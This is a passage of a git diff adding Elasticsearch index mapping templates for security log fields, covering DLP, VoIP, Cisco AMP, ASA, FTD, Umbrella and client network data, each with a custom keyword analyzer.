"dlp_fingerprint_long_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_fingerprint_short_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_incident_uid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_recipients": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_related_incident_uid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_relevant_data_types": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_repository_directories_number": { + "type": "long" + }, + "dlp_repository_files_number": { + "type": "long" + }, + "dlp_repository_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_repository_not_scanned_directories_percentage": { + "type": "long" + }, + "dlp_repository_reached_directories_number": { + "type": "long" + }, + "dlp_repository_root_path": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_repository_scan_progress": { + "type": "long" + }, + "dlp_repository_scanned_directories_number": { + "type": "long" + }, + "dlp_repository_scanned_files_number": { + "type": "long" + }, + "dlp_repository_scanned_total_size": { + "type": "long" + }, + "dlp_repository_skipped_files_number": { + "type": "long" + }, + "dlp_repository_total_size": { + "type": "long" + }, + "dlp_repository_unreachable_directories_number": { + "type": "long" + }, + "dlp_rule_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_subject": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_template_score": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_transint": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_violation_description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_watermark_profile": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_word_list": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dns_query": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "drop_reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dropped_file_hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dropped_file_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dropped_file_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dropped_file_verdict": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dropped_incoming": { + "type": "long" + }, + "dropped_outgoing": { + "type": "long" + }, + "dropped_total": { + "type": "long" + }, + "drops_amount": { + "type": "long" + }, + "dst_country": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dst_phone_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dst_user_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dstkeyid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "duplicate": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "duration": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "elapsed": { + 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"es_security_analyzer" + } + } + }, + "voip_call_term_time": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_config": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_duration": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_est_codec": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_exp": { + "type": "long" + }, + "voip_from_user_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_log_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_media_codec": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_media_ipp": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_media_port": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_method": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_reason_info": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_reg_int": { + "type": "long" + }, + "voip_reg_ipp": { + "type": "long" + }, + "voip_reg_period": { + "type": "long" + }, + "voip_reg_server": { + "type": "ip" + }, + "voip_reg_user_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_reject_reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "voip_to_user_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vpn_feature_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "watermark": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "web_server_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "word_list": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/cisco.json b/salt/elasticsearch/templates/component/ecs/cisco.json new file mode 100644 index 000000000..b64427beb --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/cisco.json @@ -0,0 +1,1266 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "cisco": { + "properties": { + "amp": { + "properties": { + "bp_data": { + "type": "flattened" + }, + "cloud_ioc": { + "properties": { + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "short_description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "command_line": { + "properties": { + "arguments": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "computer": { + "properties": { + "active": { + "type": "boolean" + }, + "connector_guid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "external_ip": { + "type": "ip" + }, + "network_addresses": { + "type": "flattened" + } + } + }, + "connector_guid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "detection": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "detection_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "error": { + "properties": { + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "error_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "event_type_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file": { + "properties": { + "archived_file": { + "properties": { + "disposition": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identity": { + "properties": { + "md5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "attack_details": { + "properties": { + "application": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "attacked_module": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "base_address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "indicators": { + "type": "flattened" + }, + "suspicious_files": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "disposition": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "parent": { + "properties": { + "disposition": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "group_guids": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mitre_tactics": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mitre_techniques": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "network_info": { + "properties": { + "disposition": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nfm": { + "properties": { + "direction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "parent": { + "properties": { + "disposition": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identify": { + "properties": { + "sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "identity": { + "properties": { + "md5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + }, + "related": { + "properties": { + "cve": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "scan": { + "properties": { + "clean": { + "type": "boolean" + }, + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "malicious_detections": { + "type": "long" + }, + "scanned_files": { + "type": "long" + }, + "scanned_paths": { + "type": "long" + }, + "scanned_processes": { + "type": "long" + } + } + }, + "tactics": { + "type": "flattened" + }, + "techniques": { + "type": "flattened" + }, + "threat_hunting": { + "properties": { + "incident_end_time": { + "type": "date" + }, + "incident_hunt_guid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "incident_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "incident_remediation": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "incident_report_guid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "incident_start_time": { + "type": "date" + }, + "incident_summary": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "incident_title": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tactics": { + "type": "flattened" + }, + "techniques": { + "type": "flattened" + } + } + }, + "timestamp_nanoseconds": { + "type": "date" + }, + "vulnerabilities": { + "type": "flattened" + } + } + }, + "asa": { + "properties": { + "assigned_ip": { + "type": "ip" + }, + "burst": { + "properties": { + "avg_rate": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "configured_avg_rate": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "configured_rate": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cumulative_count": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "current_rate": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "object": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "command_line_arguments": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connection_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connection_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dap_records": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destination_interface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destination_username": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "icmp_code": { + "type": "short" + }, + "icmp_type": { + "type": "short" + }, + "mapped_destination_host": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mapped_destination_ip": { + "type": "ip" + }, + "mapped_destination_port": { + "type": "long" + }, + "mapped_source_host": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mapped_source_ip": { + "type": "ip" + }, + "mapped_source_port": { + "type": "long" + }, + "message_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "privilege": { + "properties": { + "new": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "old": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "rule_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "session_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source_interface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source_username": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "suffix": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "termination_initiator": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "termination_user": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threat_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threat_level": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tunnel_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "webvpn": { + "properties": { + "group_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "ftd": { + "properties": { + "connection_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connection_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dap_records": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destination_interface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destination_username": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "icmp_code": { + "type": "short" + }, + "icmp_type": { + "type": "short" + }, + "mapped_destination_host": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mapped_destination_ip": { + "type": "ip" + }, + "mapped_destination_port": { + "type": "long" + }, + "mapped_source_host": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mapped_source_ip": { + "type": "ip" + }, + "mapped_source_port": { + "type": "long" + }, + "message_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rule_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "security": { + "type": "object" + }, + "source_interface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source_username": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "suffix": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "termination_initiator": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "termination_user": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threat_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threat_level": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "webvpn": { + "properties": { + "group_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "ios": { + "properties": { + "access_list": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "facility": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "umbrella": { + "properties": { + "amp_disposition": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "amp_malware_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "amp_score": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "av_detections": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "blocked_categories": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "categories": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "content_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "datacenter": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identities": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identity_types": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "origin_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "policy_identity_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "puas": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha_sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/client.json b/salt/elasticsearch/templates/component/ecs/client.json new file mode 100644 index 000000000..72f80f6ae --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/client.json @@ -0,0 +1,374 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-client.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "client": { + "properties": { + "address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "as": { + "properties": { + "number": { + "type": "long" + }, + "organization": { + "properties": { + "name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + }, + "bytes": { + "type": "long" + }, + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "geo": { + "properties": { + "city_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "continent_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "location": { + "type": "geo_point" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "postal_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_iso_code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "region_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timezone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "ip": { + "type": "ip" + }, + "mac": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nat": { + "properties": { + "ip": { + "type": "ip" + }, + "port": { + "type": "long" + } + } + }, + "packets": { + "type": "long" + }, + "port": { + "type": "long" + }, + "registered_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subdomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "top_level_domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "full_name": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "group": { + "properties": { + "domain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + 